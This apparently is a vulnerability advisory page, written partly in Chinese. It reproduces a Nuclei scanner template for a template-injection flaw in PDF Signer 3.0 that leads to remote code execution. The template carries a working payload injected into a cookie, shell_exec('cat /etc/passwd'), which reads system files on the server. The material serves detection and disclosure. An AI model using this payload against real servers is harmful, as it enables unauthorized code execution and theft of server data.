pdf-signer-ssti-to-rce: PDF Signer 3.0 - Template Injection

日期: 2025-08-01 | 影响软件: PDF Signer 3.0 | POC: 已公开

漏洞描述

PDF Signer 3.0 is susceptible to a template injection which allows code execution, due to improper cookie handling and an improper CSRF implementation. An attacker can execute code on the server in the context of the web server.

PoC代码[已公开]

id: pdf-signer-ssti-to-rce

info:
  name: PDF Signer 3.0 - Template Injection
  author: madrobot
  severity: critical
  description: PDF Signer 3.0 is susceptible to a template injection which allows code execution, due to improper cookie handling and an improper CSRF implementation. An attacker can execute code on the server in the context of the web server.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-1336
  metadata:
    max-request: 1
  tags: ssti,rce,csrf,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    headers:
      Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
    skip-variables-check: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body
# digest: 4b0a00483046022100b762a68215a4ee672c302391ba43544deabbb396ea952e7742f669b194bcb60d022100dc638dbe12e4710921fafa734c1b2703d301a7b3acc7401b25672bec6b9bc75c:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml

相关漏洞推荐